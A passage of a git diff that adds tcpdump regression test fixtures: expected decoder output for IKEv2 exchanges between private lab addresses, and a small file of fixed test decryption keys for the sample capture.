+    (v2e: len=220 02c703f4bdd83246adc67e1ca07d7e7cfe21b6bde94637680a332813b8a4ca47341abd3a9c37263896c08252bfb1ea6c7ea44783b92ac52acb4fbfec53f03554281c6377650c09208f3d778b11e77b5fbd983be1e96699232392ef31a501fda73c6150fcc2e80bab1e0d49845bd5d511f7c9285ec08352687a2ac8d70d0dec3476491c40b97cb9da405606fc5e8d46bbe199e6d91ae993b7faa0583ec4296a80812fb7e0ae88d3bd54c4a30e5edb2778c960f3e0cb5b1369e999f84de4dc72b5d006805efb7e2d2ed4033e11ff9578012d22942e3799c9382506a021)
+IP (tos 0x0, ttl 64, id 19924, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0x3549!] isakmp 2.0 msgid 00000006 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 7e2e6623c66e161de9641ac7e1b6dfdcf3a5f45bbed123be88f3754d12514404afc054b3c7f789eb52a432a438359dde31152c11b8d209203d62779ca064823d70536c40f846d43d6694a2f12a3176f57007a3506c82fffaf3dbb713bbdbb5f540b7b39aee3c97145671504356095f7ab0c5a84347c0268bce259ca51b4a2dd75a7e3a7ee79f3bffc58d2fc0ac36686229f2309b5cd0c0dcc2af798664c14f5f166ab5e3c1f693092121aa44)
+IP (tos 0x0, ttl 64, id 19925, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0xe402!] isakmp 2.0 msgid 00000007 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 7b545033a2d35df2ab9f26c4bc444713910a32e60fb04cb10a9e76634787f9ddc138c6792faa074be2ebcb43f83f444249679018ec6dc7d4e2247dd8cb915778d90fa5597f1ecba8471db53e3b4da8f73d1eb60c23ca9fb5fa599dc526a961364471b49e5288fcef6a24d02a084d29c4a5c5d1fa305310dba01d09c9c36c86c0af297e05d3fc8559a11666a4363bacc354e96c941349b3f60dd397eb4c2bb09f381831167c0b33686c6bb5d8)
+IP (tos 0x0, ttl 64, id 19926, offset 0, flags [none], proto UDP (17), length 392)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0759 -> 0x3076!] isakmp 2.0 msgid 00000008 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=332 c4bf89ec6e7936ac98a432a525c2406de940b338c9149ce19cb1bf23a69dfd481df7b3ada1adbb70bf17074643edf97e63ade5ed07f74674f26c48d2d6a9044477ee9f203084c26e85405987ec8b9693deaea20ce78c2a451bf4e834d7bcc3c54c1322b5f28ba307f2ce31a00552b97b8fc103a29fee2e0040ccddfa10bf3ab3d1209e643c228dec575240c7bd750cf4d6d06c958f66bd8a79831df871f6fbd93e025b16bd03de35ffcdbabac65570d2367e624d9f8e8560da9bc3a2142b75008b7ceb8e839dbf425da74c4be15c9dc31735ef1ac6f65c2375042dcf9682df74259b8c4437d7ee8df19fea6ec1d5bd491409cc7276d70ee0ba9172b4177fbce7fa28171a236ca8e2e0c149e602c9c6a0a3ff5f054287f54b7c314b07cdf6d246241dd364c7419cc0647422d08f5511b13e7b5cb719616466e1c6966f5ccd4d2ca2b12dda7047c6f63af5dd47)
+IP (tos 0x0, ttl 64, id 19927, offset 0, flags [none], proto UDP (17), length 344)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0729 -> 0xd64e!] isakmp 2.0 msgid 00000008 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=284 2c1ac864ae2c8499b3c7af8c61a8c4dc9e1af23577b588d6bb3fdef3e483cc2f0158c07071d6dfaef73dccb6cdcf7a5758e41778daceb71cf6733e17168beff6ef2015d670c0b6574fc72e97d4282909966f394a9f9e0fced8e269bbf60e93f0f2080f48dcd4e02ff1129b94f68b268ddd9cff436f38e78fa7986d87e622d1f3da3b3c2795570ebc27d3c3d51f29ef0fff01ae89bd71d2e10ab8faee7d7bb4b5be8a9ee0ea9b5e347bbaf3ebdfaf19735d75e6faa020d6ea72826c2aa5cb2ee648de6b36cbb25087428dea44bd34504e05f2d4fef43c48e2a690510e9278ca8ff2f775792af061b5ccbcf77b3fee658851289969c55edc6d561718a0c761b09b0f67c96e61d00a7fa2929023b5adcfdd33436f63a478141d51b52333)
+IP (tos 0x0, ttl 64, id 19928, offset 0, flags [none], proto UDP (17), length 120)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0649 -> 0x85b7!] isakmp 2.0 msgid 00000000 cookie 1d9be9451d4f97a8->64a2a4b5d0e17b6a: parent_sa inf2[I]:
+    (v2e: len=60 691b48829b6c5d6dd93fa8e33c38dd4c00f5434dc22b4251c0876f0bdb5dbba3dd06283907559a272f07ec7709b9d596a24cd8fe69b82a1f65dbf6f2)
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2fourv4.out b/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2fourv4.out
new file mode 100644
index 0000000000000000000000000000000000000000..dd6c3ee38105f3d9d809ca03a0951c9feb5fa52b
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2fourv4.out
@@ -0,0 +1,107 @@
+IP (tos 0x0, ttl 64, id 19908, offset 0, flags [none], proto UDP (17), length 404)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0765 -> 0xf5df!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->0000000000000000: parent_sa ikev2_init[I]:
+    (sa: len=116
+        (p: #1 protoid=isakmp transform=12 len=116
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=encr id=aes (type=keylen value=0100))
+            (t: #3 type=encr id=aes (type=keylen value=00c0))
+            (t: #4 type=encr id=3des )
+            (t: #5 type=prf id=hmac-sha )
+            (t: #6 type=prf id=hmac-md5 )
+            (t: #7 type=prf id=aes128_xcbc )
+            (t: #8 type=integ id=hmac-sha )
+            (t: #9 type=integ id=hmac-md5 )
+            (t: #10 type=integ id=aes-xcbc )
+            (t: #11 type=dh id=modp1024 )
+            (t: #12 type=dh id=modp2048 )))
+    (v2ke: len=128 group=modp1024 b5445bd60cece6fdcd3c96a52cbb7bb426a8c7a0f56a9c38d1b1c4f0c3a6e8e7dba5c7339b6ed02e757119dfb5b6933ce93b604987fbbc77221b2a0c7cdd32787eff10572bef546c361462f9da34847969a42e51c755996beac42e6fba961a75de0fc1b23f099380896ee89202122dedac1bd54aa8494ac3d740be4d2a4cf39d)
+    (nonce: len=32 nonce=(6128ebd023a864e94a7ffb74bf7cce2fd4367322b8b073f942282bd52ebfe3e6) )
+    (n: prot_id=#0 type=16388(nat_detection_source_ip) data=(442ffe5aea0cee4dbacc758e801233bdc09a0abf0000001c00004005ba041b5de59955900d818ac54e18b236739d9e8b))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip) data=(ba041b5de59955900d818ac54e18b236739d9e8b))
+IP (tos 0x0, ttl 64, id 19909, offset 0, flags [none], proto UDP (17), length 88)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0629 -> 0x0cd0!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->0000000000000000: parent_sa ikev2_init[R]:
+    (n: prot_id=#0 type=16390(cookie) data=(00000001c2221e50c16e123f2b0c71aefcf0cb3b798782c6))
+IP (tos 0x0, ttl 64, id 19910, offset 0, flags [none], proto UDP (17), length 436)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0785 -> 0x7702!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->0000000000000000: parent_sa ikev2_init[I]:
+    (n: prot_id=#0 type=16390(cookie) data=(00000001c2221e50c16e123f2b0c71aefcf0cb3b798782c622000078000000740101000c0300000c0100000c800e00800300000c0100000c800e01000300000c0100000c800e00c003000008010000030300000802000002030000080200000103000008020000040300000803000002030000080300000103000008030000050300000804000002000000080400000e2800008800020000b5445bd60cece6fdcd3c96a52cbb7bb426a8c7a0f56a9c38d1b1c4f0c3a6e8e7dba5c7339b6ed02e757119dfb5b6933ce93b604987fbbc77221b2a0c7cdd32787eff10572bef546c361462f9da34847969a42e51c755996beac42e6fba961a75de0fc1b23f099380896ee89202122dedac1bd54aa8494ac3d740be4d2a4cf39d290000246128ebd023a864e94a7ffb74bf7cce2fd4367322b8b073f942282bd52ebfe3e62900001c00004004442ffe5aea0cee4dbacc758e801233bdc09a0abf0000001c00004005ba041b5de59955900d818ac54e18b236739d9e8b))
+    (sa: len=116
+        (p: #1 protoid=isakmp transform=12 len=116
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=encr id=aes (type=keylen value=0100))
+            (t: #3 type=encr id=aes (type=keylen value=00c0))
+            (t: #4 type=encr id=3des )
+            (t: #5 type=prf id=hmac-sha )
+            (t: #6 type=prf id=hmac-md5 )
+            (t: #7 type=prf id=aes128_xcbc )
+            (t: #8 type=integ id=hmac-sha )
+            (t: #9 type=integ id=hmac-md5 )
+            (t: #10 type=integ id=aes-xcbc )
+            (t: #11 type=dh id=modp1024 )
+            (t: #12 type=dh id=modp2048 )))
+    (v2ke: len=128 group=modp1024 b5445bd60cece6fdcd3c96a52cbb7bb426a8c7a0f56a9c38d1b1c4f0c3a6e8e7dba5c7339b6ed02e757119dfb5b6933ce93b604987fbbc77221b2a0c7cdd32787eff10572bef546c361462f9da34847969a42e51c755996beac42e6fba961a75de0fc1b23f099380896ee89202122dedac1bd54aa8494ac3d740be4d2a4cf39d)
+    (nonce: len=32 nonce=(6128ebd023a864e94a7ffb74bf7cce2fd4367322b8b073f942282bd52ebfe3e6) )
+    (n: prot_id=#0 type=16388(nat_detection_source_ip) data=(442ffe5aea0cee4dbacc758e801233bdc09a0abf0000001c00004005ba041b5de59955900d818ac54e18b236739d9e8b))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip) data=(ba041b5de59955900d818ac54e18b236739d9e8b))
+IP (tos 0x0, ttl 64, id 19911, offset 0, flags [none], proto UDP (17), length 332)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x071d -> 0x8650!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->71be8358efae7663: parent_sa ikev2_init[R]:
+    (sa: len=44
+        (p: #1 protoid=isakmp transform=4 len=44
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=prf id=hmac-sha )
+            (t: #3 type=integ id=hmac-sha )
+            (t: #4 type=dh id=modp1024 )))
+    (v2ke: len=128 group=modp1024 5a56714d3abf64e3a3f401ead9f5323ff0b77faa5f1e99199b13ac821f0a0c4f854786ca09b7a76aa508bcee11f16369a16d5fa041ca2d9a8dfa8228c61f2482d2175c5c1a9491fc221bec7a1fa69f656d4c98ba49ae9d721dedf4a02d7ecdfc201dc785a13ed74e4f3982762a2720ffdfc365ee4e37279af496cd86f881fd15)
+    (nonce: len=32 nonce=(b31c379f272ce2984bd17ca38c8729e1edbc081a14fb0f67cff81721dfeec1f9) )
+    (n: prot_id=#0 type=16388(nat_detection_source_ip) data=(fe2bfb7c2c81ed0b61f756b57fac78a75ced8af60000001c00004005905954a783be2c37e2ccc4fdd270a532dbe6f428))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip) data=(905954a783be2c37e2ccc4fdd270a532dbe6f428))
+IP (tos 0x0, ttl 64, id 19912, offset 0, flags [none], proto UDP (17), length 264)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07d9 -> 0xb2d6!] isakmp 2.0 msgid 00000001 cookie a88875a8198992a6->71be8358efae7663: child_sa  ikev2_auth[I]:
+    (v2e: len=204 f606135ad373e70836fda91b63ca4c608e1ad58218488c2647ff1e8a912958aa77efbc3068a2ae6ab7c3d0cb1e6fb864df99c62f2cc045708084708154a393c2f4cbefad1f6848525d49db563e13345a4e6e2fd066c04e2ce291f4714baec6bf328356c446247cab835bda3e8e1aae5967248f01eb3a1c02a541b4da09b3276b400d50a067542a678468c5f41e54017c00964f1003f8c88896a6f12215a5f1a060713cc83802cae3abee18417c0c35dc6f58a01adb96ed1c009c68e3069ae70f4b10afb7736c111ade4d826e)
+IP (tos 0x0, ttl 64, id 19913, offset 0, flags [none], proto UDP (17), length 184)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0689 -> 0x0748!] isakmp 2.0 msgid 00000001 cookie a88875a8198992a6->71be8358efae7663: child_sa  ikev2_auth[R]:
+    (v2e: len=124 6afe95bc5147b0ad7e4ccb9141c160a44f7c6eddc6b29d414ad5e2b882544fdc6c3ee6983ae1408b5764b1649343876454d1bf4d515aaf03c15eafe71be6b4cf51ab60630c45bcf0e2a2db8eee70095a4e010fdb342adb6d03dae5def9d4907cdfc8ccd6f3da9b7497c58e84a952d983bafb941ab1de1b0bb9ffad3b)
+IP (tos 0x0, ttl 64, id 19914, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07e9 -> 0x35ac!] isakmp 2.0 msgid 00000002 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=220 53cc6c0b41f14e4fc057c7f6a3524adde8521f26f67c058430a902db1a52ed16d322630d2eb515372dc12d97dc7c20552607e2ed193d9b33939e10aa2fc37b6199f0a629c6b58135f5b6f9e07906cd30dc3cae7d55fe08d95d3e660a623731c396a325adbff11c490f9fd102224391a65fb7bbe862945b64cf1fb833b9ce68c83df0b9d2ce7bd54f650864af9445e547cdfe5caa393344ae5274933b7efcf616821ea7daa9c5a6e8275ad6c688700cb7f4bcd6fb8025e93bb6dd5f581faebcbecb798c87617a4ec1b06ba290ac5fc1d6e4c2725c1f9f0e10b144fbbe)
+IP (tos 0x0, ttl 64, id 19915, offset 0, flags [none], proto UDP (17), length 248)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x06c9 -> 0xdeaf!] isakmp 2.0 msgid 00000003 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=188 9603e03f280964782717da15a502f0a9e9f17dbf4487c6923cf00b7040d539bc947c705790e4e99b834a7ae2a8d79f5620e11615e0a762889aab821e0d03132dfb8cc6b3718582411bcd98c242a8b10a66274dae1ce055fb30a4d3e64c969be6e08b626958f4446c6e4a0c8d7a24522959c6152e63a575c06930c2097539bfbdff08c70533428cf6b452e0b8b0259c2292925d2ed62e8956bc7e3a911a61509be1ac8f7b7cd4636176e524f4d0f17573f2aeddce2251fd6d5d9cd54d)
+IP (tos 0x0, ttl 64, id 19916, offset 0, flags [none], proto UDP (17), length 104)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0639 -> 0xc72b!] isakmp 2.0 msgid 00000002 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=44 5bd2d26cb43b6cec30dec13fa387359797baf7b41e783422bc4dabf5d03ab2420d277d3b2f28d1f003da98d1)
+IP (tos 0x0, ttl 64, id 19917, offset 0, flags [none], proto UDP (17), length 104)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0639 -> 0x4119!] isakmp 2.0 msgid 00000003 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=44 38f60ab69110967961ae04af4e47a770260d61e29d18fb13ce093a47970068dacb342f7999cc3d0d59f77a94)
+IP (tos 0x0, ttl 64, id 19918, offset 0, flags [none], proto UDP (17), length 312)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0709 -> 0x236f!] isakmp 2.0 msgid 00000004 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=252 c7f2f1cc4997b30a61623222d4bfb535baa302199c4d8c1fdcfa745b0b29b5e7618ff0356848444d25010e5ad420760890ede066c838269b22d9e30d4fec1a012e731a210c243f803b661970d32e998e919f573c5742d2288949052c5a46a0cd7c4a1a295ede296c4fd9839b64dc4944e11a35f42a8ce18b447200fd03dbd58a71583b3a27c380148c801ce14452f7d756b1f55b10b84a58cfa9526001fff7157154645022e4456085517ceed98b79e20ed33297cf5ad80287e782728a8c6b87d2b422e7eeda1c72b33ebc51a5b76def9a59ffd1b4f97dec88c22a4f5448a71aeedf20c87dae5b44cd2e7a519d719a509f83f3b2faf6f5c607da609f)
+IP (tos 0x0, ttl 64, id 19919, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07e9 -> 0xd8ba!] isakmp 2.0 msgid 00000005 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=220 dae6134a9cff1a4e3cc59a79e019a93f8469dd4e2faaaad1c3afba22ecd128fdb1e8954c753f8f62aeb6aac9732f414b065ec39569a670be6980c81eb3e44bc93ec63e9a754d0456c6703cd718371edeef674928180f9d14c39e52cfa4a517368e7db2fa0bfdb41cf56d97006233103f22650fdcd5ffab8418e40903e4749e126d06e9dc2a18cfd5bfda0013e3e9eb53e79bbe30eadf0f4ddcefbab0c08e870b29d39b2401c75b68fc46a066782857ca48d547e410ac15cabb6738875200b535cbd9ae1e1ce99839c9c25639070e5ed977809c50b6bb9550b50b49bb)
+IP (tos 0x0, ttl 64, id 19920, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0x7194!] isakmp 2.0 msgid 00000004 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 1fd8516b57b1ab1bdbcdba1930a5097decc023c5c534497ca53f178b9d4d11228746454371b0cc6ec067e14e1e5c5652840cfdae0ea84c7f0a6e799ff7fb131d15763feef45e80f24716cde47d23527f68e055a7c3adc7225489295e1bc3f1029b63822872865df55c6c275dead8a6f64bda8ae44f42c318fa71eb04eed7312dafd2dd8665fd5d3225f3aae6f7335b581c3a89c07af1009871dea9927f046432cd01b04234204d01583baf3a)
+IP (tos 0x0, ttl 64, id 19921, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0x6053!] isakmp 2.0 msgid 00000005 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 f6fc8113f34b92eb7d595a048f57d46593441ad9a61919e5919e7de4454fa35882937d3b74c83ab959fd053c6a12a51b04a0e92e01683782658bb9af2bbcc7a4bd5e1eef2dbcdc7715cac6eaecfbcc051a46f2263d1b8387bdad7e68c6e4ba1be9794e163e484768995a9f4a18edcbc6a44f0a74cb01c318e7848562e0866f388b8d04f14f1af87de7de6cee1f889d4330d82932a7127b7d1a934e641c32b76e33b37706d50286f8cbe335ba)
+IP (tos 0x0, ttl 64, id 19922, offset 0, flags [none], proto UDP (17), length 312)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0709 -> 0xfb68!] isakmp 2.0 msgid 00000006 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=252 0aa2636a3b897ff3fa8093282ad1724ec9f326b64bf998e781d6edbb77a369a8444dc47a4dc095ebd3ac3b1dc337570bc42c93cd6dcb7289bc99a90874e66cc4ede7a13a58ce17c65b185e86def83d66f4c4ddc433e66baf1834e54296671357a5139b0b63ebf32e652df0938badea5a960ee1758e00faa643bed85f7adee2e2e75baeec9e0df88857a67ca5f2a2f4919d0b272313d42c791eb75feca145756a0ccae3640ee98c16689df511443228846d2c5b8830ea6d149c1abed11ad0a28ca33993036e91965d48a82a898145ada994af55978696480ab6cb697e13e67968a7748c3338786efb77250e5411b3a7eac84cd221324bd7b9109d9a69)
+IP (tos 0x0, ttl 64, id 19923, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07e9 -> 0x9881!] isakmp 2.0 msgid 00000007 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=220 02c703f4bdd83246adc67e1ca07d7e7cfe21b6bde94637680a332813b8a4ca47341abd3a9c37263896c08252bfb1ea6c7ea44783b92ac52acb4fbfec53f03554281c6377650c09208f3d778b11e77b5fbd983be1e96699232392ef31a501fda73c6150fcc2e80bab1e0d49845bd5d511f7c9285ec08352687a2ac8d70d0dec3476491c40b97cb9da405606fc5e8d46bbe199e6d91ae993b7faa0583ec4296a80812fb7e0ae88d3bd54c4a30e5edb2778c960f3e0cb5b1369e999f84de4dc72b5d006805efb7e2d2ed4033e11ff9578012d22942e3799c9382506a021)
+IP (tos 0x0, ttl 64, id 19924, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0x3549!] isakmp 2.0 msgid 00000006 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 7e2e6623c66e161de9641ac7e1b6dfdcf3a5f45bbed123be88f3754d12514404afc054b3c7f789eb52a432a438359dde31152c11b8d209203d62779ca064823d70536c40f846d43d6694a2f12a3176f57007a3506c82fffaf3dbb713bbdbb5f540b7b39aee3c97145671504356095f7ab0c5a84347c0268bce259ca51b4a2dd75a7e3a7ee79f3bffc58d2fc0ac36686229f2309b5cd0c0dcc2af798664c14f5f166ab5e3c1f693092121aa44)
+IP (tos 0x0, ttl 64, id 19925, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0xe402!] isakmp 2.0 msgid 00000007 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 7b545033a2d35df2ab9f26c4bc444713910a32e60fb04cb10a9e76634787f9ddc138c6792faa074be2ebcb43f83f444249679018ec6dc7d4e2247dd8cb915778d90fa5597f1ecba8471db53e3b4da8f73d1eb60c23ca9fb5fa599dc526a961364471b49e5288fcef6a24d02a084d29c4a5c5d1fa305310dba01d09c9c36c86c0af297e05d3fc8559a11666a4363bacc354e96c941349b3f60dd397eb4c2bb09f381831167c0b33686c6bb5d8)
+IP (tos 0x0, ttl 64, id 19926, offset 0, flags [none], proto UDP (17), length 392)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0759 -> 0x3076!] isakmp 2.0 msgid 00000008 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=332 c4bf89ec6e7936ac98a432a525c2406de940b338c9149ce19cb1bf23a69dfd481df7b3ada1adbb70bf17074643edf97e63ade5ed07f74674f26c48d2d6a9044477ee9f203084c26e85405987ec8b9693deaea20ce78c2a451bf4e834d7bcc3c54c1322b5f28ba307f2ce31a00552b97b8fc103a29fee2e0040ccddfa10bf3ab3d1209e643c228dec575240c7bd750cf4d6d06c958f66bd8a79831df871f6fbd93e025b16bd03de35ffcdbabac65570d2367e624d9f8e8560da9bc3a2142b75008b7ceb8e839dbf425da74c4be15c9dc31735ef1ac6f65c2375042dcf9682df74259b8c4437d7ee8df19fea6ec1d5bd491409cc7276d70ee0ba9172b4177fbce7fa28171a236ca8e2e0c149e602c9c6a0a3ff5f054287f54b7c314b07cdf6d246241dd364c7419cc0647422d08f5511b13e7b5cb719616466e1c6966f5ccd4d2ca2b12dda7047c6f63af5dd47)
+IP (tos 0x0, ttl 64, id 19927, offset 0, flags [none], proto UDP (17), length 344)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0729 -> 0xd64e!] isakmp 2.0 msgid 00000008 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=284 2c1ac864ae2c8499b3c7af8c61a8c4dc9e1af23577b588d6bb3fdef3e483cc2f0158c07071d6dfaef73dccb6cdcf7a5758e41778daceb71cf6733e17168beff6ef2015d670c0b6574fc72e97d4282909966f394a9f9e0fced8e269bbf60e93f0f2080f48dcd4e02ff1129b94f68b268ddd9cff436f38e78fa7986d87e622d1f3da3b3c2795570ebc27d3c3d51f29ef0fff01ae89bd71d2e10ab8faee7d7bb4b5be8a9ee0ea9b5e347bbaf3ebdfaf19735d75e6faa020d6ea72826c2aa5cb2ee648de6b36cbb25087428dea44bd34504e05f2d4fef43c48e2a690510e9278ca8ff2f775792af061b5ccbcf77b3fee658851289969c55edc6d561718a0c761b09b0f67c96e61d00a7fa2929023b5adcfdd33436f63a478141d51b52333)
+IP (tos 0x0, ttl 64, id 19928, offset 0, flags [none], proto UDP (17), length 120)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0649 -> 0x85b7!] isakmp 2.0 msgid 00000000 cookie 1d9be9451d4f97a8->64a2a4b5d0e17b6a: parent_sa inf2[I]:
+    (v2e: len=60 691b48829b6c5d6dd93fa8e33c38dd4c00f5434dc22b4251c0876f0bdb5dbba3dd06283907559a272f07ec7709b9d596a24cd8fe69b82a1f65dbf6f2)
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2pI2-secrets.txt b/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2pI2-secrets.txt
new file mode 100644
index 0000000000000000000000000000000000000000..efe963678f3b103f807d1f756407a1c94f9b1393
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2pI2-secrets.txt
@@ -0,0 +1,2 @@
+ikev2 I 0x0001020304050607 0xc02e7a3031a03188 sha1:0x4ea8e662b07cdd430f6944c6723e4b82d5722418 aes128:0x3f44bf47cafd8150591deb088199fcbf
+ikev2 R 0x0001020304050607 0xc02e7a3031a03188 sha1:0x515b0bd22e6d76b34fdb760aa7bfad80b109b75d aes128:0xbedb67ec7dc3d00cccac42e70cd63bde
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2pI2.out b/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2pI2.out
new file mode 100644
index 0000000000000000000000000000000000000000..7940e8cd038248b8fe6030c6acb60bb5797c2cfa
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/ikev2pI2.out
@@ -0,0 +1,41 @@
+IP (tos 0x0, ttl 64, id 0, offset 0, flags [none], proto UDP (17), length 536, bad cksum 0 (->f48e)!)
+    192.1.2.45.500 > 192.1.2.23.500: [no cksum] isakmp 2.0 msgid 00000000 cookie 0001020304050607->0000000000000000: parent_sa ikev2_init[I]:
+    (sa[C]: len=240
+        (p: #1 protoid=isakmp transform=4 len=40
+            (t: #1 type=encr id=aes )
+            (t: #2 type=integ id=hmac-sha )
+            (t: #3 type=prf id=hmac-sha )
+            (t: #4 type=dh id=modp1536 ))
+        (p: #2 protoid=isakmp transform=4 len=40
+            (t: #1 type=encr id=aes )
+            (t: #2 type=integ id=hmac-sha )
+            (t: #3 type=prf id=hmac-md5 )
+            (t: #4 type=dh id=modp1536 ))
+        (p: #3 protoid=isakmp transform=4 len=40
+            (t: #1 type=encr id=3des )
+            (t: #2 type=integ id=hmac-sha )
+            (t: #3 type=prf id=hmac-sha )
+            (t: #4 type=dh id=modp1536 ))
+        (p: #4 protoid=isakmp transform=4 len=40
+            (t: #1 type=encr id=3des )
+            (t: #2 type=integ id=hmac-sha )
+            (t: #3 type=prf id=hmac-md5 )
+            (t: #4 type=dh id=modp1536 ))
+        (p: #5 protoid=isakmp transform=4 len=40
+            (t: #1 type=encr id=3des )
+            (t: #2 type=integ id=hmac-sha )
+            (t: #3 type=prf id=hmac-sha )
+            (t: #4 type=dh id=modp1024 ))
+        (p: #6 protoid=isakmp transform=4 len=40
+            (t: #1 type=encr id=3des )
+            (t: #2 type=integ id=hmac-sha )
+            (t: #3 type=prf id=hmac-md5 )
+            (t: #4 type=dh id=modp1024 )))
+    (v2ke: len=192 group=modp1536 ffbc6a92a6b9559b05fa96a7a43507b4c1e1c0861a5871d9ba73a163113788c0debb3979e7ff0c52b4ce6050eb05369ea4300d2bff3b1b299f3b802ccb13318c2ab9e3b5627cb4b35eb939982076b57c050d7b35c3c5c7cc8c0feab7b64a7d7b6b8f6b4dabf4ac406dd20126b90a98ac766efa37a7890c4394ff9a77615b58f52d651bbfa58d2a549af8b01aa4bca3d762426663b155d4ebda9f60a6a13573e6a888135cdc673dd483029903f3a90eca23e1ec1e270331b2d050f4f758f49927)
+    (nonce[C]: len=16 nonce=(b5ce8419095c6e2b6b62d3055305b3c4) )
+    (v2vid: len=12 vid=OErlA\nQukSR 4f45726c415c6e51756b5352)
+IP (tos 0x0, ttl 64, id 0, offset 0, flags [none], proto UDP (17), length 312, bad cksum 0 (->f56e)!)
+    192.1.2.45.500 > 192.1.2.23.500: [no cksum] isakmp 2.0 msgid 00000000 cookie 0001020304050607->c02e7a3031a03188: parent_sa ikev2_auth[I]:
+    (v2e[C]: len=252 000102030405060708090a0b0c0d0e0f4bcf2da20444caca5fb591c1ab4b9b4d4f22ac7cb49e6b08d2738884fb3efd8eebc607accc1f80f890e24df65e53d61e899f1d319d89c033524d036fd4ea7e0345def93356e2865e5481a6a20a7604083de04595e1071a2e98179eefb4e6ae4708e6875ae297b4dc5b2602d971e36f66cef12303946eea897d86bbb5903115281a266f4dcb627e146972ff2f7102931df82f24a2e40df594afc11e0a85eb1c56b9eddb7e2de52fa95cf51f4b4c9b5d53237ae39f64519413d201374a987fa8d1ce460fa2d67c417462203f2948c0b9ed8b734a69a015ff63bde767f44f83c3cfe5119d72d74e695b1032b957
+            (v2IDi: len=8 0200000077657374 fqdn:west)
